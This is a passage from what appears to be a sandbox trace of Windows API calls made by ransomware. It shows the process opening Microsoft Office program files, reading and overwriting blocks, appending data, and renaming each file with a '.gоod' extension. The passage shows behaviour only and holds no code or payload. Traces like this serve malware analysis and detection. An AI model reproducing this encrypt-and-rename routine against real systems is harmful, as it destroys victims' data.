Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync2013_third_party_notices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0142.450] GetFileType (hFile=0x61c) returned 0x1 [0142.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0142.450] GetFileType (hFile=0x61c) returned 0x1 [0142.450] WriteFile (in: hFile=0x61c, lpBuffer=0x3aa7648*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3aa7648*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0142.450] CloseHandle (hObject=0x61c) returned 1 [0142.450] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", lpFilePart=0x0) returned 0x50 [0142.451] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt.gоod", lpFilePart=0x0) returned 0x55 [0142.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0142.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync2013_third_party_notices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x511f3a84, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x224d)) returned 1 [0142.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0142.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync2013_third_party_notices.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync2013_third_party_notices.txt.gоod")) returned 1 [0142.451] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", lpFilePart=0x0) returned 0x3a [0142.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0142.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync99.exe"), fInfoLevelId=0x0, lpFileInformation=0x3b24e08 | out: lpFileInformation=0x3b24e08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8edb08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb98a8)) returned 1 [0142.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0142.991] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", lpFilePart=0x0) returned 0x3a [0143.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0143.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync99.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0143.008] GetFileType (hFile=0x7f8) returned 0x1 [0143.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0143.008] GetFileType (hFile=0x7f8) returned 0x1 [0143.008] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0143.009] ReadFile (in: hFile=0x7f8, lpBuffer=0x3a5b6d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3a5b6d0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0143.010] CloseHandle (hObject=0x7f8) returned 1 [0143.010] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", lpFilePart=0x0) returned 0x3a [0143.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0143.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync99.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0143.010] GetFileType (hFile=0x7f8) returned 0x1 [0143.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0143.011] GetFileType (hFile=0x7f8) returned 0x1 [0143.011] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xb98a8 [0143.011] WriteFile (in: hFile=0x7f8, lpBuffer=0x3a5c948*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3a5c948*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0143.012] CloseHandle (hObject=0x7f8) returned 1 [0143.012] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", lpFilePart=0x0) returned 0x3a [0143.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0143.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync99.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0143.012] GetFileType (hFile=0x7f8) returned 0x1 [0143.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0143.012] GetFileType (hFile=0x7f8) returned 0x1 [0143.012] ReadFile (in: hFile=0x7f8, lpBuffer=0x3a5ebe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3a5ebe8*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0144.025] CloseHandle (hObject=0x7f8) returned 1 [0144.025] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", lpFilePart=0x0) returned 0x3a [0144.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0144.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync99.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0144.025] GetFileType (hFile=0x7f8) returned 0x1 [0144.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0144.025] GetFileType (hFile=0x7f8) returned 0x1 [0144.025] WriteFile (in: hFile=0x7f8, lpBuffer=0x347ae28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x347ae28*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0144.025] CloseHandle (hObject=0x7f8) returned 1 [0144.026] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe", lpFilePart=0x0) returned 0x3a [0144.026] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe.gоod", lpFilePart=0x0) returned 0x3f [0144.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0144.026] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync99.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52102e96, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb98b8)) returned 1 [0144.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0144.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync99.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync99.exe.gоod")) returned 1 [0144.027] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", lpFilePart=0x0) returned 0x40 [0144.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0144.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lynchtmlconv.exe"), fInfoLevelId=0x0, lpFileInformation=0x35207b8 | out: lpFileInformation=0x35207b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9884bb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb73240)) returned 1 [0144.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0144.028] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", lpFilePart=0x0) returned 0x40 [0144.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0144.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lynchtmlconv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0144.028] GetFileType (hFile=0x7f8) returned 0x1 [0144.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0144.028] GetFileType (hFile=0x7f8) returned 0x1 [0144.028] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0144.028] ReadFile (in: hFile=0x7f8, lpBuffer=0x3520bd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3520bd0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0144.030] CloseHandle (hObject=0x7f8) returned 1 [0144.030] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", lpFilePart=0x0) returned 0x40 [0144.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0144.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lynchtmlconv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0144.030] GetFileType (hFile=0x7f8) returned 0x1 [0144.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0144.030] GetFileType (hFile=0x7f8) returned 0x1 [0144.030] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xb73240 [0144.030] WriteFile (in: hFile=0x7f8, lpBuffer=0x3521e68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3521e68*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0144.032] CloseHandle (hObject=0x7f8) returned 1 [0144.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", lpFilePart=0x0) returned 0x40 [0144.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0144.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lynchtmlconv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0144.032] GetFileType (hFile=0x7f8) returned 0x1 [0144.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0144.032] GetFileType (hFile=0x7f8) returned 0x1 [0144.032] ReadFile (in: hFile=0x7f8, lpBuffer=0x3524468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3524468*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0144.060] CloseHandle (hObject=0x7f8) returned 1 [0144.060] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", lpFilePart=0x0) returned 0x40 [0144.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0144.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lynchtmlconv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0144.060] GetFileType (hFile=0x7f8) returned 0x1 [0144.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0144.060] GetFileType (hFile=0x7f8) returned 0x1 [0144.060] WriteFile (in: hFile=0x7f8, lpBuffer=0x35231c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x35231c0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0144.060] CloseHandle (hObject=0x7f8) returned 1 [0144.060] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe", lpFilePart=0x0) returned 0x40 [0144.060] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe.gоod", lpFilePart=0x0) returned 0x45 [0144.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0144.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lynchtmlconv.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9884bb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5214f322, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb73250)) returned 1 [0144.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0144.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lynchtmlconv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lynchtmlconv.exe.gоod")) returned 1 [0144.062] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML", lpFilePart=0x0) returned 0x3c [0144.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0144.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\manifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x35a0a60 | out: lpFileInformation=0x35a0a60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a8edb08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc88)) returned 1 [0144.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0144.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML", lpFilePart=0x0) returned 0x3c [0144.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0144.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\manifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0144.231] GetFileType (hFile=0x808) returned 0x1 [0144.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0144.231] GetFileType (hFile=0x808) returned 0x1 [0144.231] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0xc88 [0144.231] ReadFile (in: hFile=0x808, lpBuffer=0x362d948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x362d948*, lpNumberOfBytesRead=0x1f59e768*=0xc88, lpOverlapped=0x0) returned 1 [0144.232] CloseHandle (hObject=0x808) returned 1 [0144.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0144.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\manifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0144.261] GetFileType (hFile=0x808) returned 0x1 [0144.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0144.261] GetFileType (hFile=0x808) returned 0x1 [0144.261] WriteFile (in: hFile=0x808, lpBuffer=0x36ab058*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x36ab058*, lpNumberOfBytesWritten=0x1f59e678*=0xc90, lpOverlapped=0x0) returned 1 [0144.262] CloseHandle (hObject=0x808) returned 1 [0144.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML", lpFilePart=0x0) returned 0x3c [0144.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML.gоod", lpFilePart=0x0) returned 0x41 [0144.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0144.262] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\manifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5233f1fb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc90)) returned 1 [0144.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0144.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\manifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\manifest.xml.gоod")) returned 1 [0144.263] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", lpFilePart=0x0) returned 0x3e [0144.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0144.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mceperfctr.man"), fInfoLevelId=0x0, lpFileInformation=0x36ac3a8 | out: lpFileInformation=0x36ac3a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a939f30, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4854)) returned 1 [0144.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0144.263] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", lpFilePart=0x0) returned 0x3e [0144.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0144.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mceperfctr.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0144.264] GetFileType (hFile=0x808) returned 0x1 [0144.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0144.264] GetFileType (hFile=0x808) returned 0x1 [0144.264] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0144.264] ReadFile (in: hFile=0x808, lpBuffer=0x36ac7a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x36ac7a0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0144.339] CloseHandle (hObject=0x808) returned 1 [0145.350] GetFullPathNameW (in: 